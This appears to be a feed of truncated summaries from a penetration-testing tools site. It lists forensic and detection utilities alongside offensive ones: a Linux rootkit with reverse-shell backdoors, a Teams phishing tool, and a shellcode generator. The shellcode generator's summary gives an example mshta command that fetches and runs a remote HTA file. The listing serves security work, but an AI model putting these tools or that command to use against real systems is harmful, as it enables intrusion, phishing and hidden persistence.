RPCMon A GUI tool for scanning RPC communication through Event Tracing for Windows (ETW). The tool was published as part of research on RPC communication between the host and a Windows container. Overview RPCMon...
The post RPCMon: RPC Monitor tool based on Event Tracing for Windows appeared first on Penetration Testing Tools.
Locksmith A tiny tool to identify and remediate common misconfigurations in Active Directory Certificate Services. Mode 0 (Default) – Identify Issues and Output to Console PS> .\Invoke-Locksmith.ps1 Running Invoke-Locksmith.ps1 with no parameters or -Mode 0 will...
The post Locksmith: identify & remediate common misconfigurations in AD Certificate Services appeared first on Penetration Testing Tools.
Linux Evidence Acquisition Framework (LEAF) Linux Evidence Acquisition Framework (LEAF) acquires artifacts and evidence from Linux EXT4 systems, accepting user input to customize the functionality of the tool for easier scalability. Offering several modules...
The post LEAF: Linux Evidence Acquisition Framework appeared first on Penetration Testing Tools.
Troll-A Troll-A is a command line tool for extracting secrets such as passwords, API keys, and tokens from WARC (Web ARChive) files. Troll-A is an easy-to-use, comprehensive, and fast solution for finding secrets in web archives. Features...
The post troll-a: extracting secrets such as passwords, API keys, and tokens from Web ARChive files appeared first on Penetration Testing Tools.
Zircolite is a standalone tool written in Python 3 that allows you to use SIGMA rules on: MS Windows EVTX (EVTX, XML, and JSONL formats) Auditd logs Sysmon for Linux EVTXtract CSV and XML logs...
The post Zircolite: fast SIGMA-based detection tool for EVTX or JSON Logs appeared first on Penetration Testing Tools.
WELA (Windows Event Log Analyzer) Yamato Security’s WELA(Windows Event Log Analyzer) aims to be the Swiss Army knife for Windows event logs. Currently, WELA’s greatest functionality is creating an easy-to-analyze logon timeline in order...
The post WELA: Windows Event Log Analyzer appeared first on Penetration Testing Tools.
KoviD is a Loadable Kernel Module (LKM) designed for Linux Kernel version 5 and later. Key features include: Self-hiding from SysFS. Provides reverse shell backdoors. Conceals processes from the proc file system. Handles child...
The post KoviD: Red-Team Linux kernel rootkit appeared first on Penetration Testing Tools.
Disconnected RSAT Disconnected RSAT is a launcher for the official Group Policy Manager, Certificate Authority and Certificate Templates snap-in to bypass the domain joined requirement that is needed when using the official MMC snap-in....
The post DRSAT: Disconnected RSAT Tool Bypasses Domain Join Requirement appeared first on Penetration Testing Tools.
Scirius Scirius Community Edition is a web interface dedicated to Suricata ruleset management. It handles the rules file and update associated files. Scirius CE is developed by Stamus Networks and is available under the GNU GPLv3...
The post scirius: web application for Suricata ruleset management and threat hunting appeared first on Penetration Testing Tools.
domainim Domainim is a Blazing fast domain reconnaissance tool for bounty hunters written in Nim. Features Virtual hostname enumeration Reverse DNS lookup Subdomains as input Verbose output TCP port scanning with full user control...
The post domainim: A fast and comprehensive tool for organizational network scanning appeared first on Penetration Testing Tools.
PeCoReT PeCoReT (Pentest Collaboration and Reporting Tool) is an open-source application to manage your pentest projects. PeCoReT allows pentesters to focus on testing instead of writing the report. It can be customized and once...
The post pecoret: A Pentest Collaboration and Reporting Tool appeared first on Penetration Testing Tools.
Carseat is a Python implementation of Seatbelt. This tool contains all (all minus one technically) modules in Seatbelt that support remote execution as an option. Just like Seatbelt you likely will need privileged access...
The post Carseat: Python Implementation for Remote Seatbelt Security Checks appeared first on Penetration Testing Tools.
Live Forensicator Live Forensicator is part of the Black Widow Toolbox, its aim is to assist Forensic Investigators and Incidence responders in carrying out a quick live forensic investigation. It achieves this by gathering...
The post Live Forensicator: Powershell Script to aid Incidence Response and Live Forensics appeared first on Penetration Testing Tools.
Fennec fennec is an artifact collection tool written in Rust to be used during an incident response on *nix based systems. fennec allows you to write a configuration file that contains how to collect...
The post Fennec: Artifact collection tool for *nix systems appeared first on Penetration Testing Tools.
Seekr Seekr is a multi-purpose toolkit for gathering and managing OSINT-data with a sleek web interface. Our desktop view enables you to have all of your favorite OSINT tools integrated into one. The backend...
The post seekr: multi-purpose toolkit for gathering and managing OSINT-Data appeared first on Penetration Testing Tools.
TeamsPhisher TeamsPhisher is a Python3 program that facilitates the delivery of phishing messages and attachments to Microsoft Teams users whose organizations allow external communications. It is not ordinarily possible to send files to Teams...
The post TeamsPhisher: Send phishing messages and attachments to Microsoft Teams users appeared first on Penetration Testing Tools.
Damn Vulnerable RESTaurant An intentionally vulnerable API service designed for learning and training purposes dedicated to developers, ethical hackers, and security engineers. The idea of the project is to provide an environment that can...
The post Damn Vulnerable RESTaurant: An intentionally vulnerable Web API game for learning and training appeared first on Penetration Testing Tools.
Sessionless Sessionless is a Burp Suite extension for editing, signing, verifying, and attacking signed tokens: Django TimestampSigner, ItsDangerous Signer, Express cookie-session middleware, OAuth2 Proxy, and Tornado’s signed cookies. It provides automatic detection and in-line editing of tokens within HTTP...
The post sessionless: Burp Suite extension for editing, signing, verifying various signed web tokens appeared first on Penetration Testing Tools.
SentryPeer A distributed list of bad IP addresses and phone numbers was collected via a SIP Honeypot. This is basically a fraud detection tool. It lets bad actors try to make phone calls and...
The post SentryPeer: distributed list of bad IP addresses and phone numbers appeared first on Penetration Testing Tools.
ShellcodeGenZ takes your commands (like mshta.exe http://192.168.0.1/azi.hta) and turns ’em into shellcode that’s ready to flex. It hunts down bad chars (like 0x0a, 0x0b, or the default 0x00), lets you yeet ’em manually or auto...
The post ShellcodeGenZ: Shellcode Generator to execute commands with winExec API appeared first on Penetration Testing Tools.
